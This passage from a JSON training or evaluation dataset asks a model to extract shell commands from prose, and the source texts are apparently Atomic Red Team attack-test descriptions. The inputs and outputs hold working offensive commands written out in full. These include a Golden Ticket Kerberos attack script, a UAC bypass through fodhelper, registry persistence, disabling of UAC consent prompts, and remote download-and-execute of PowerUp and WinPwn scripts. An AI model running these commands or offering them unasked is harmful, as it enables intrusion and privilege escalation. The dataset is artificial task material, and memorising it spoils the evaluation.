$_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following steps will attempt an RDP session to a DomainController via the command: $Server=#{logonserver}\n$User = Join-Path #{domain} #{username}\n$Password=\"#{password}\"\ncmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password\nmstsc /v:$Server\necho \"RDP connection established\"\n; To change the RDP port to a non-standard value, use the following PowerShell commands: Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value #{NEW_Remote_Port}\nNew-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}",
    "output": "{\"command_list\": [\"$Server=#{logonserver}\\n$User = Join-Path #{domain} #{username}\\n$Password=\\\"#{password}\\\"\\ncmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password\\nmstsc /v:$Server\\necho \\\"RDP connection established\\\"\\n\", \"Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp' -name \\\"PortNumber\\\" -Value #{NEW_Remote_Port}\\nNew-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To craft a Golden Ticket with the krbtgt hash and test it without affecting your current session, implement the following procedure using this command sequence: Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n\ncmd.exe /c \"#{local_folder}\\#{local_executable}\" golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller}) /printcmd /outfile:golden\n$filename = (Get-ChildItem | ? {$_.Name.startswith(\"golden_\")} | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to golden.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\">%TEMP%\\golden.txt 2>&1 (\n  echo Purge existing tickets and create golden ticket:\n  klist purge\n  cd %temp%\n  \"#{local_folder}\\#{local_executable}\" ptt /ticket:kirbifile\n\n  echo.\n  echo Requesting SYSVOL:\n  dir \\\\$(#{domaincontroller})\\SYSVOL\n  \n  echo.\n  echo Tickets after requesting SYSVOL:\n  klist\n\n  echo.\n  echo End of Golden Ticket attack\n)\n\"@ -Replace \"kirbifile\", $filename | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n  Start-Sleep 1 # wait a bit so the output file has time to be created\n  Get-Content -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n    if ($_ -match 'End of Golden Ticket attack') { break } \n  }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore; To identify system information including disk details, run the following commands: systeminfo\nreg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum",
    "output": "{\"command_list\": [\"Remove-Item $env:TEMP\\\\golden.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\golden.txt -ErrorAction Ignore\\n\\ncmd.exe /c \\\"#{local_folder}\\\\#{local_executable}\\\" golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller}) /printcmd /outfile:golden\\n$filename = (Get-ChildItem | ? {$_.Name.startswith(\\\"golden_\\\")} | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name\\n\\n# create batch file with commands to run in a separate \\\"runas /netonly\\\" session\\n# so we don't purge Kerberos ticket from the current Windows session\\n# its output goes to golden.txt temp file, because we cannot capture \\\"runas /netonly\\\" output otherwise\\n@\\\"\\n>%TEMP%\\\\golden.txt 2>&1 (\\n  echo Purge existing tickets and create golden ticket:\\n  klist purge\\n  cd %temp%\\n  \\\"#{local_folder}\\\\#{local_executable}\\\" ptt /ticket:kirbifile\\n\\n  echo.\\n  echo Requesting SYSVOL:\\n  dir \\\\\\\\$(#{domaincontroller})\\\\SYSVOL\\n  \\n  echo.\\n  echo Tickets after requesting SYSVOL:\\n  klist\\n\\n  echo.\\n  echo End of Golden Ticket attack\\n)\\n\\\"@ -Replace \\\"kirbifile\\\", $filename | Out-File -Encoding OEM $env:TEMP\\\\golden.bat\\n\\n# run batch file in a new empty session (password and username do not matter)\\necho \\\"foo\\\" | runas /netonly /user:fake \\\"$env:TEMP\\\\golden.bat\\\" | Out-Null\\n\\n# wait until the output file has logged the entire attack\\ndo {\\n  Start-Sleep 1 # wait a bit so the output file has time to be created\\n  Get-Content -Path \\\"$env:TEMP\\\\golden.txt\\\" -Wait | ForEach-Object {\\n    if ($_ -match 'End of Golden Ticket attack') { break } \\n  }\\n} while ($false) # dummy loop so that 'break' can be used\\n\\n# show output from new empty session\\nGet-Content $env:TEMP\\\\golden.txt\\n\\n# cleanup temp files\\nRemove-Item $env:TEMP\\\\golden.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\golden.txt -ErrorAction Ignore\\n\", \"systeminfo\\nreg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Disk\\\\Enum\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute a custom application during an RDP login instead of the default 'rdpclip', an administrator can alter the registry value with this command: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\" /f /v StartupPrograms /t REG_SZ /d \"#{malicious_app}\"; Microsoft permits users to specify a custom boot verification program by creating a registry key, which can be exploited by threat actors using the following command: reg add HKLM\\System\\CurrentControlSet\\Control\\BootVerificationProgram /v ImagePath /t REG_SZ /d \"#{malicious_file}\"",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\Wds\\\\rdpwd\\\" /f /v StartupPrograms /t REG_SZ /d \\\"#{malicious_app}\\\"\\n\", \"reg add HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\BootVerificationProgram /v ImagePath /t REG_SZ /d \\\"#{malicious_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To configure UAC so it doesn't prompt administrators for consent or credentials, use the following command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f; This atomic test mimics ValleyRAT's UAC bypass method by adding specialized registry entries, using the following sequence: reg add \"HKEY_CURRENT_USER\\Software\\Classes\\.pwn\\Shell\\Open\\command\" /ve /d \"C:\\Windows\\System32\\calc.exe\" /f\n\nreg add \"HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\CurVer\" /ve /d \".pwn\" /f\n\necho Triggering fodhelper.exe for potential privilege escalation...\nstart fodhelper.exe",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Classes\\\\.pwn\\\\Shell\\\\Open\\\\command\\\" /ve /d \\\"C:\\\\Windows\\\\System32\\\\calc.exe\\\" /f\\n\\nreg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Classes\\\\ms-settings\\\\CurVer\\\" /ve /d \\\".pwn\\\" /f\\n\\necho Triggering fodhelper.exe for potential privilege escalation...\\nstart fodhelper.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The WinPwn dotnet function helps search for .NET Service-Binaries when you run the following command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndotnet -consoleoutput -noninteractive; The PowerUpSQL checks can be launched using the WinPwn's powerSQL function with the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowerSQL -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ndotnet -consoleoutput -noninteractive\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npowerSQL -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system's loaded kernel modules can be listed, along with any containing 'vmm', by executing this command sequence: kldstat\nkldstat | grep vmm\n; Various system components can be identified by executing this series of WMIC commands: wmic cpu get name\nwmic MEMPHYSICAL get MaxCapacity\nwmic baseboard get product\nwmic baseboard get version\nwmic bios get SMBIOSBIOSVersion\nwmic path win32_VideoController get name\nwmic path win32_VideoController get DriverVersion\nwmic path win32_VideoController get VideoModeDescription\nwmic OS get Caption,OSArchitecture,Version\nwmic DISKDRIVE get Caption\nGet-WmiObject win32_bios\n, which retrieves information about hardware and software configurations.",
    "output": "{\"command_list\": [\"kldstat\\nkldstat | grep vmm\\n\", \"wmic cpu get name\\nwmic MEMPHYSICAL get MaxCapacity\\nwmic baseboard get product\\nwmic baseboard get version\\nwmic bios get SMBIOSBIOSVersion\\nwmic path win32_VideoController get name\\nwmic path win32_VideoController get DriverVersion\\nwmic path win32_VideoController get VideoModeDescription\\nwmic OS get Caption,OSArchitecture,Version\\nwmic DISKDRIVE get Caption\\nGet-WmiObject win32_bios\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are 